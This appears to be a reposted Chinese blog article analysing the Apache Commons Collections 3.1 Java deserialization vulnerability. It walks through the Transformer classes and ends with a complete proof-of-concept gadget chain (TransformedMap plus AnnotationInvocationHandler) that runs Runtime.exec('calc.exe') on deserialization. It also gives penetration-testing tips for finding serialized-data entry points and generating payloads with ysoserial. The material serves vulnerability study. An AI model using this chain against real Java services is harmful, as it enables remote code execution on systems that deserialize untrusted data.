Apache Commons Collections反序列化漏洞的示例分析

一、简介

虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析,但在这里还是记录一下。毕竟,这对Java反序列化漏洞的发展意义重大。

Apache Commons Collections是Java应用开发中一个非常常用的工具库,它添加了许多强大的数据结构,简化了Java应用程序的开发,已经成为Java处理集合数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

二、测试环境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections组件历史版本下载地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依赖:

<!– https://mvnrepository.com/artifact/commons-collections/commons-collections –>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已经集成了该组件的漏洞利用payload;在渗透测试的时候,只需按照Java序列化数据的特征(以十六进制aced或者base64编码格式的rO0AB开头的数据)寻找Java反序列化的入口点,并根据Web应用猜测可能存在CommonsCollections组件,则可以直接使用ysoserial工具直接生成payload进行漏洞利用。

Apache Commons Collections反序列化漏洞的示例分析

三、漏洞分析

这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。

Transformer接口

Transformer接口的定义十分简单,只定义了一个transform()方法,根据文档说明,该方法主要用于对象转换。实现该接口的类还是挺多的,这里主要利用以下3个实现类:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;public interface Transformer {    //对象转换    public Object transform(Object input);}

ChainedTransformer类

ChainedTransformer类定义了一个Transformer[]数组,并且在实现transform()方法的时候通过依次遍历该数组元素,并调用数组元素对应的Transformer实现类的transform()方法,将多个Transformer对象串起来。

public class ChainedTransformer implements Transformer, Serializable {    private final Transformer[] iTransformers;    ...            public ChainedTransformer(Transformer[] transformers) {        super();        iTransformers = transformers;    }    public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }    ...}

InvokerTransformer类

InvokerTransformer类的transform()方法主要通过反射机制调用传入参数对象的某个方法,只需在构造InvokerTransformer对象的时候设置方法名、参数类型和参数值即可。

public class InvokerTransformer implements Transformer, Serializable {        /** The method name to call */    private final String iMethodName;    /** The array of reflection parameter types */    private final Class[] iParamTypes;    /** The array of reflection arguments */    private final Object[] iArgs;    ...    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        super();        iMethodName = methodName;        iParamTypes = paramTypes;        iArgs = args;    }    //简化后的transform()方法,通过反射机制调用对象的方法    public Object transform(Object input) {        ...                Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);                        ...      }}

ConstantTransformer类

ConstantTransformer类十分简单,直接返回传入对象。

public class ConstantTransformer implements Transformer, Serializable {    private final Object iConstant;    ...    public ConstantTransformer(Object constantToReturn) {        super();        iConstant = constantToReturn;    }        public Object transform(Object input) {        return iConstant;    }    ...}

根据上述情况,我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显,我们需要借助InvokerTransformer类中transform()方法实现反射调用。如下所示,这里即是代码执行的源头:

package orz.vuln.poc;import org.apache.commons.collections.functors.InvokerTransformer;public class CommonsCollections {	public static void main(String[] args) throws Exception {        //通过InvokeTransformer类反射调用Runtime代码		InvokerTransformer invoker1 = new InvokerTransformer("getMethod", 				new Class[] {String.class, Class[].class}, 				new Object[] {"getRuntime", null});		InvokerTransformer invoker2 = new InvokerTransformer("invoke", 				new Class[] {Object.class, Object[].class}, 				new Object[] {null, null});		InvokerTransformer invoker3 = new InvokerTransformer("exec", 				new Class[] {String.class}, 				new Object[] {"calc.exe"});		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));				/*正常反射调用Runtime代码		Class clazz = Runtime.class;		Method m1 = clazz.getMethod("getRuntime", null);		Method m2 = clazz.getMethod("exec", String.class);		m2.invoke(m1.invoke(clazz, null), "calc.exe");		*/	}}

更进一步,我们发现可以借助ChainedTransformer类中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即将上述多个InvokerTransformer对象初始化为Transformer[]数组,并且用Runtime.class初始化ConstantTransformer类对象,这样,就能构造出一条使用任意对象即可触发代码执行的Transformer调用链:

package orz.vuln.poc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class CommonsCollections {	public static void main(String[] args) throws Exception {		Transformer[] transformers = new Transformer[] {				new ConstantTransformer(Runtime.class),				new InvokerTransformer("getMethod", 						new Class[] {String.class, Class[].class},						new Object[] {"getRuntime", null}),				new InvokerTransformer("invoke", 						new Class[] {Object.class, Object[].class}, 						new Object[] {null, null}),				new InvokerTransformer("exec",						new Class[] {String.class},						new Object[] {"calc.exe"})		};				Transformer chainedTransformer = new ChainedTransformer(transformers);		chainedTransformer.transform("foo");	}}

接下来,我们希望通过反序列化触发调用Transformer对象transform()方法,达到代码执行的目的。

TransformedMap类

Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换,该类通过调用decorate()方法进行实例化,如下所示:

Apache Commons Collections反序列化漏洞的示例分析

并且在该类中还有个checkSetValue()方法,在该方法中实现了调用Transformer对象的transform()方法;根据该方法描述,checkSetValue()方法将在setValue()方法调用的时候被调用:

Apache Commons Collections反序列化漏洞的示例分析

因此,我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象,再调用setValue()方法修改Map对象的值,代码如下:

package orz.vuln.poc;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class CommonsCollections {	public static void main(String[] args) throws Exception {		Transformer[] transformers = new Transformer[] {				new ConstantTransformer(Runtime.class),				new InvokerTransformer("getMethod", 						new Class[] {String.class, Class[].class},						new Object[] {"getRuntime", null}),				new InvokerTransformer("invoke", 						new Class[] {Object.class, Object[].class}, 						new Object[] {null, null}),				new InvokerTransformer("exec",						new Class[] {String.class},						new Object[] {"calc.exe"})		};				Transformer chainedTransformer = new ChainedTransformer(transformers);		//chainedTransformer.transform("foo");				Map map = new HashMap();		map.put("foo", "bar");		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();		entry.setValue("test");	}}

继续寻找通过反序列化触发setValue()方法执行的地方,最后在AnnotationInvocationHandler类的readObject()方法中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue()方法,即

Apache Commons Collections反序列化漏洞的示例分析

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最终,完整漏洞利用代码如下:

package orz.vuln.poc;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class CommonsCollections {	public static void main(String[] args) throws Exception {				Transformer[] transformers = new Transformer[] {				new ConstantTransformer(Runtime.class),				new InvokerTransformer("getMethod", 						new Class[] {String.class, Class[].class},						new Object[] {"getRuntime", null}),				new InvokerTransformer("invoke", 						new Class[] {Object.class, Object[].class}, 						new Object[] {null, null}),				new InvokerTransformer("exec",						new Class[] {String.class},						new Object[] {"calc.exe"})		};				Transformer chainedTransformer = new ChainedTransformer(transformers);		//chainedTransformer.transform("foo");				Map map = new HashMap();		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();		//entry.setValue("test");				Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);		ctor.setAccessible(true);		Object instance = ctor.newInstance(Target.class, transformedMap);				FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");		ObjectOutputStream oos = new ObjectOutputStream(fos);		oos.writeObject(instance);		oos.close();		fos.close();				FileInputStream fis = new FileInputStream("D:/commonscollections.ser");		ObjectInputStream ois = new ObjectInputStream(fis);		ois.readObject();		ois.close();		fis.close();	}}

上述内容就是Apache Commons Collections反序列化漏洞的示例分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。

文章标题:Apache Commons Collections反序列化漏洞的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/23874

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月8日 下午10:39
下一篇 2022年9月8日 下午10:40

相关推荐

  • win11新建不了文本文档怎么解决

    在以往文章中,也有不少关于“win11新建不了文本文档怎么解决”的介绍,但内容并不是十分详尽。以下是小编最新整理的“win11新建不了文本文档怎么解决”相关知识,不仅内容详细,而且步骤、细节清晰,希望能够帮助大家解决一些工作中的疑惑。 方法一: 1、首先点开下面的“开始菜单” 2、在上方搜索看看能不…

    2022年6月27日
    1.5K00
  • APT28攻击活动分析报告是怎样的

    本篇文章为大家展示了APT28攻击活动分析报告是怎样的,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。 在过去的一年中,俄罗斯最大的黑客组织APT28一直在扫描和探测互联网中存在漏洞的电子邮件服务器。据报告,APT28在过去十年中的主要使用鱼叉式网络钓鱼,针对…

    2022年9月15日
    45300
  • pr视频怎么导出为手机视频大小

    pr视频导出为手机视频大小的方法: 1、首先,我们点击左上角“文件”并新建一个“项目” 2、新建后,右键空白处,选择“新建”一个“序列” 3、然后进入“设置”,根据图示参数进行设置,最重要的是设置“垂直比9:16” (手机常用的大小有360×640、750×1334、720&#2…

    2022年8月31日
    98300
  • python如何实现重置递归限制

    重置递归限制 Python 限制递归次数到 1000,我们可以重置这个值: import sysx=1001print(sys.getrecursionlimit())sys.setrecursionlimit(x)print(sys.getrecursionlimit())#1-> 1000…

    2022年8月30日
    41400
  • col在html中指的是什么

    col在html中是“列”的意思;col是html中的标签,是“column”的缩写,该标签是给表格中一个或者多个列应用样式,而不需要重复为每个单元格或每一行设置样式,标签规定了元素内部每一列的属性,只能在table或colgroup元素中使用该标签。 本教程操作环境:windows10系统、HTM…

    2022年9月2日
    76000
  • windows ecshop模板如何修改

    ecshop模板修改方法: 1、首先我们下载一个模板,将他放入软件目录下的“themes”文件夹。 2、接着打开ecshop,点击“模板管理”下的“模板选择” 3、然后点击下方你要更换的模板。(建议备份当前模板) 4、网站会弹出提示,如图所示,点击“确定” 5、修改完成后去到网站,就可以发现模板已经…

    2022年9月22日
    49300
  • unlocker如何使用

    unlocker使用方法: 方法一: 1、找到被锁定的文件或软件,右键选中它,点击右键菜单中的“Unlocker”按钮。 2、然后在左边选择要对它进行的动作,再点击“确定”就可以了。 方法二: 1、直接打开软件,它会自动扫描电脑中正在运行的进程。 2、选中需要操作的进程,然后在下方点击“过程结束”,…

    2022年9月24日
    58900
  • Android开发怎么自定义实时图表控件

    今天分享文章“Android开发怎么自定义实时图表控件”,主要从:演示、环境、实现、第十一步:绘制等几个方面为大家介绍,希望能帮到您。 演示 环境 开发工具:Android Studio 开发语言:Kotlin 实现 名列前茅步:新建项目RealTimeChartDemo 第二步:新建RealTim…

    2022年6月29日
    54000
  • windows中该内存不能为read如何解决

    该内存不能为read解决方法: 1、【win】+【R】,打开运行界面 2、在运行窗口中,输入【cmd】。打开管理员界面。 3、复制该代码并输入管理员界面中:【for %1 in (%windir%system32*.dll) do regsvr32.exe /s %1】 4、然后按下回车键【Ente…

    2022年9月2日
    61100
  • 关于远程办公,微软MVP 15年研发团队的经验分享

    为了能够应对来势汹汹的疫情,众多互联网企业纷纷开启了远程办公模式。不知道各团队前两天的远程办公效果如何,我们 Worktile 管理层在大年初四就开始讨论远程办公的事情,并且将可能出现的问题都尽量提前想到并做了准备。从这两天实际执行的情况看,我所在的研发团队执行的还不错,基本没有受到什么明显的影响。…

    2022年3月20日
    44500
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部